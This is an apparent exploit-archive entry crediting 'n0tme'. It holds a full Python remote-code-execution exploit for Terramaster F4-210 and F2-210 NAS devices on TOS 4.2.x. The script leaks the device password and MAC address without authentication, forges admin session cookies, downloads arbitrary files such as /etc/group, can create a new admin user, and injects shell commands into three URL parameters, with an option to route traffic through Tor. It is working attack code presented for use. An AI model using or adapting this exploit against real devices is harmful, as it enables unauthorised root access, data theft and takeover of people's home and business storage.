Terramaster F4-210 / F2-210 Remote Code Execution

Credit: n0tme
Risk: High
Local: No
Remote: Yes

#/bin/env python """ Product: Terramaster F4-210, Terramaster F2-210 Version: TOS 4.2.X (4.2.15-2107141517) Author: n0tme (thatsn0tmysite) Description: Chain from unauthenticated to root via session crafting. """ import urllib3 import requests import json import argparse import hashlib import time import os TARGET = None MAC_ADDRESS = None PWD = None TIMESTAMP = None def tos_encrypt_str(toencrypt): key = MAC_ADDRESS[6:] return hashlib.md5(f"{key}{toencrypt}".encode("utf8")).hexdigest() def user_session(session, username): session.cookies.clear() cookies = {"kod_name":username, "kod_token":tos_encrypt_str(PWD)} if username == "guest": cookies = {"kod_name":"guest", "kod_token":tos_encrypt_str("")} for name,value in cookies.items(): session.cookies[name] = value def download(session, path, save_as=None): user_session(session, "guest") r=session.post(f"{TARGET}/module/api.php?mobile/fileDownload", data={"path":path}) filename = os.path.basename(path) if save_as is not None: filename = save_as with open(filename, "wb") as file: file.write(r.content) def get_admin_users(session): download(session, "/etc/group", save_as="/tmp/terramaster_group") with open("/tmp/terramaster_group", "r") as groups: for line in groups: line = line.strip() fields = line.split(':') if fields[0] == "admin": users = fields[3].split(",") os.remove("/tmp/terramaster_group") return users if __name__ == '__main__': p = argparse.ArgumentParser() p.add_argument(dest="target", help="Target URL (e.g.") p.add_argument("--cmd", dest="cmd", help="Command to run", default="id") p.add_argument("-d", "--download", dest="download", help="Only download file", default=None) p.add_argument("-o", "--output", dest="save_as", help="Save downloaded file as", default=None) p.add_argument("-c", "--create", dest="create", help="Only create admin user (format should be admin:password)", default=None) p.add_argument("--tor", dest="tor", default=False, action="store_true", help="Use TOR") p.add_argument("--rce", dest="rce", default=0, type=int, help="RCE to use (1 and 2 have no output)") args = p.parse_args() urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) TARGET = args.target s = requests.Session() if args.tor: s.proxies = {"http":"socks5://", "https": "socks5://"} s.headers.update({"user-device":"TNAS", "user-agent":"TNAS"}) r=s.post(f"{TARGET}/module/api.php?mobile/wapNasIPS") try: j = r.json() PWD = j["data"]["PWD"] MAC_ADDRESS = j["data"]["ADDR"] except KeyError: exit(1) TIMESTAMP = str(int(time.time())) s.headers.update({"signature": tos_encrypt_str(TIMESTAMP), "timestamp": TIMESTAMP}) s.headers.update({"authorization": PWD}) if args.download != None: download(s, args.download, save_as=args.save_as) exit(0) #RCEs RCEs=[f"{TARGET}/tos/index.php?app/del&id=0&name=;{args.cmd};xx%23", f"{TARGET}/tos/index.php?app/hand_app&name=;{args.cmd};xx.tpk", #BLIND f"{TARGET}/tos/index.php?app/app_start_stop&id=ups&start=0&name=donotcare.*.oexe;{args.cmd};xx"] #BLIND for admin in get_admin_users(s): user_session(s, admin) if args.create != None: user, password = args.create.split(":") groups = json.dumps(["allusers", "admin"]) r=s.post(f"{TARGET}/module/api.php?mobile/__construct") r=s.post(f"{TARGET}/module/api.php?mobile/set_user_information", data={"groups":groups, "username":user,"operation":"0","password":password,"capacity":""}) if "create user successful!" in str(r.content, "utf8"): print(r.content) break continue r = s.get(RCEs[args.rce]) content = str(r.content, "utf-8") if "<!--user login-->" not in content: print(content) exit(0)

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